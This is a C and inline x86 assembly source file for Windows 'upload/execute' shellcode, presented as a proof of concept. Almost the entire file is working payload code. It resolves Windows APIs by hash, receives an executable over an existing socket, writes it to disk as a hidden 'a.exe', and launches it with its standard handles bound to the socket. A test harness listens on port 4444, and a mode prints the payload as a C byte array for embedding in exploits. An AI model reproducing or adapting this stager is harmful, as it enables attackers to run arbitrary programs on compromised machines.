/* * Generic upload/execute shellcode * * This expects the file descriptor to read from in esi. * * Haven't optimized this at all, just a proof of concept * * skape * mmiller@hick.org */ #include #include #include #pragma warning(disable: 4068) #define EMIT_4_LITTLE_ENDIAN(a,b,c,d) __asm _emit a __asm _emit b __asm _emit c __asm _emit d void __declspec(naked) upexec_begin() { __asm { /* * esi = fd */ upexec: jmp startup_bnc // Jump to the startup bounce point #include "generic.c" startup_bnc: jmp startup // Jump to the actual startup resolve_symbols_for_dll: lodsd // Load the current dword from esi into eax push eax // Push the hash as the second argument to find_function push edx // Push the base address of the current dll being loaded from call find_function // Call find_function mov [edi], eax // Store the return address in the current output buffer pointer add esp, 0x08 // Restore eight bytes to the stack. add edi, 0x04 // Add 4 bytes to the output buffer to move to the next slot cmp esi, ecx // Have we reached the end? jne resolve_symbols_for_dll // If not, continue loading resolve_symbols_for_dll_finished: ret // Return to the caller kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA 0x04 EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x00,0x7c) // CreateFile 0x08 (warning: has null byte) EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8) // WriteFile 0x0c EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f) // CloseHandle 0x10 EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA 0x14 EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess 0x18 ws2_32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad) // WSASocketA 0x1c EMIT_4_LITTLE_ENDIAN(0xb6,0x19,0x18,0xe7) // recv 0x20 startup: sub esp, 0x60 // Allocate 0x60 bytes of stack space mov ebp, esp // Use ebp as the frame pointer mov [ebp], esi // Save fd jmp get_absolute_address_forward // Jump forward past the middle get_absolute_address_middle: jmp get_absolute_address_end // Jump to the end now that we have our VMA on the stack get_absolute_address_forward: call get_absolute_address_middle // Call to the middle to push the VMA of 'pop esi' onto the stack get_absolute_address_end: pop esi // Pop the return address from the stack into esi call find_kernel32 // Find the kernel32.dll base address through whatever means mov edx, eax // Save the kernel32.dll base address in edx resolve_kernel32_symbols: sub esi, 0x31 // Offset esi 0x2e bytes back from 'pop esi' lea edi, [ebp + 0x04] // Set edi to the start of our output buffer mov ecx, esi // Set ecx to the address of the first hash add ecx, 0x18 // Set the stop point to the first hash address + 0x18 call resolve_symbols_for_dll // Resolve all the kernel32.dll symbols resolve_winsock_symbols: add ecx, 0x08 // Set the stop point to the first hash of ws2_32 + 0x08 xor eax, eax // Zero eax mov ax, 0x3233 // Set the low order bytes of eax to '32' push eax // Push '32\0\0' push 0x5f327377 // Push 'ws2_' mov ebx, esp // Save the pointer to the 'ws2_32' string in ebx push ecx // Save ecx so that it does not get clobbered push edx // Save edx so that it does not get clobbered push ebx // Push the 'ws2_32' string pointer onto the stack call [ebp + 0x04] // Call LoadLibraryA pop edx // Restore edx pop ecx // Restore ecx mov edx, eax // Set edx to the base address of ws2_32.dll call resolve_symbols_for_dll // Resolve all the ws2_32.dll symbols open_file: xor eax, eax // Zero eax mov al, 0x65 // Set the low order byte of eax to 'e' push eax // Push 'e' push 0x78652e61 // Push 'a.ex' mov [ebp + 0x30], esp // Save the address of 'a.exe' xor eax, eax // Zero eax push eax // Template mov al, 0x82 // Set the flags to (FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN) push eax // Flags mov al, 0x02 // Set the disposition to CREATE_ALWAYS push eax // Disposition xor al, al // Zero al push eax // Security attributes push eax // Share mode mov al, 0x40 // Set al to 0x40 sal eax, 0x18 // Shift to the left 18 bits push eax // Desired access (GENERIC_WRITE) push [ebp + 0x30] // File name call [ebp + 0x08] // Call CreateFileA mov [ebp + 0x3c], eax // Save the file handle get_file_length: xor eax, eax // Zero eax lea edi, [ebp + 0x40] // Load the address that will contain the length in edi add eax, 0x04 // Add four to hold the number of bytes left to read mov [ebp + 0x44], eax // Set the number of bytes left to 4 get_file_length_loop: xor eax, eax push eax // No flags push [ebp + 0x44] // Bytes to read push edi // Buffer to read into push [ebp] // File descriptor call [ebp + 0x20] // Call recv sub [ebp + 0x44], eax // warning: does not account for -1 (bad) add edi, eax // Increment the offset into edi mov eax, [ebp + 0x44] // Set eax to the number of bytes left test eax, eax // Check to see if it's zero... jnz get_file_length_loop // Not zero, go again. mov edi, [edi - 0x04] // Set edi to the number of bytes in the file download_begin: xor eax, eax // Zero eax mov ax, 0x010c // Set eax to 268 sub esp, eax // Allocate 268 bytes of stackspace mov esi, esp // We'll use esi to track this frame download_loop: lea ebx, [esi + 0x04] // Load the address of our spot to holde bytes read into eax xor eax, eax // Zero flags push eax // No flags mov ax, 0x0104 // Set eax to 260 cmp eax, edi // Check to see if 260 is > the number of bytes left in the file jle download_loop_cont // Skip over mov eax, edi // Set eax to the actual number of bytes left download_loop_cont: push eax // We desire to read 260 bytes lea eax, [esi + 0x08] // Load the address of our buffer to hold data in push eax // Buffer push [ebp] // File descriptor call [ebp + 0x20] // Call recv sub edi, eax // Subtract the number of bytes left download_write_file: mov ebx, eax // Save the number of bytes read xor eax, eax // Zero eax push eax // Overlapped lea eax, [esi + 0x04] // Load the address of our bytes written pointer push eax // Bytes written pointer push ebx // Bytes to write lea eax, [esi + 0x08] // Load the address of the buffer we just read data into push eax // Buffer push [ebp + 0x3c] // File handle call [ebp + 0x0c] // Call WriteFile test edi, edi // Have we read everything? jnz download_loop download_finished: push [ebp + 0x3c] // File handle call [ebp + 0x10] // Call CloseHandle xor eax, eax // Zero eax mov ax, 0x010c // Set eax to 268 add esp, eax // Restore the stack initialize_process: xor ecx, ecx // Zero ecx mov cl, 0x54 // Set ecx to 0x54 sub esp, ecx // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x10) mov edi, esp // Preserve in edi push edi // Save edi zero_structs: xor eax, eax // We want to store 0 rep stosb // Repeat storing zero until ecx is 0 pop edi // Restore edi initialize_structs: mov byte ptr [edi], 0x44 // Set the 'cb' attribute of the STARTUPINFO buffer to 0x44 inc byte ptr [edi + 0x2d] // Set the STARTF_USESTDHANDLES flag push edi // Save edi mov eax, [ebp] // Set eax to the file descriptor lea edi, [edi + 0x38] // Load the effective address of hStdInput stosd // Set hStdInput to the file descriptor stosd // Set hStdOutput to the file descriptor stosd // Set hStdError to the file descriptor pop edi // Restore edi execute_process: xor eax, eax // Zero eax lea esi, [edi + 0x44] // Load the address of our PROCESS_INFORMATION starting point push esi // PROCESS_INFORMATION push edi // STARTUPINFO push eax // Startup Directory push eax // Environment push eax // Creation flags inc eax // We want inherit handles to be true push eax // Inherit handles dec eax // Back to zero push eax // Thread attributes push eax // Process attributes push [ebp + 0x30] // Command line push eax // Module name call [ebp + 0x14] // Call CreateProcess exit_process: call [ebp + 0x18] // Call ExitProcess } } void __declspec(naked) upexec_end() { exit(1); } int main(int argc, char **argv) { WSADATA data; memset(&data, 0, sizeof(data)); WSAStartup(0x0202, &data); if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) { SOCKET sfd = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0), cfd; struct sockaddr_in b; b.sin_addr.s_addr = INADDR_ANY; b.sin_family = AF_INET; b.sin_port = htons(4444); if (bind(sfd, (struct sockaddr *)&b, sizeof(b)) < 0) { fprintf(stdout, "bind failed.\n"); return 0; } if (listen(sfd, 32) < 0) { fprintf(stdout, "listen failed\n"); return 0; } cfd = accept(sfd, NULL, NULL); __asm { mov esi, [cfd] } upexec_begin(); } else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)upexec_begin); unsigned char *stop = (unsigned char *)((unsigned char *)upexec_end); unsigned char *c = NULL; unsigned long x = 0, length; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)upexec_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)upexec_end + 1) + 5; length = stop - start; fprintf(stdout, "// %lu byte upexec shellcode\n\n", length); fprintf(stdout, "unsigned char upexec[] = \""); for (c = start, x = 0; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }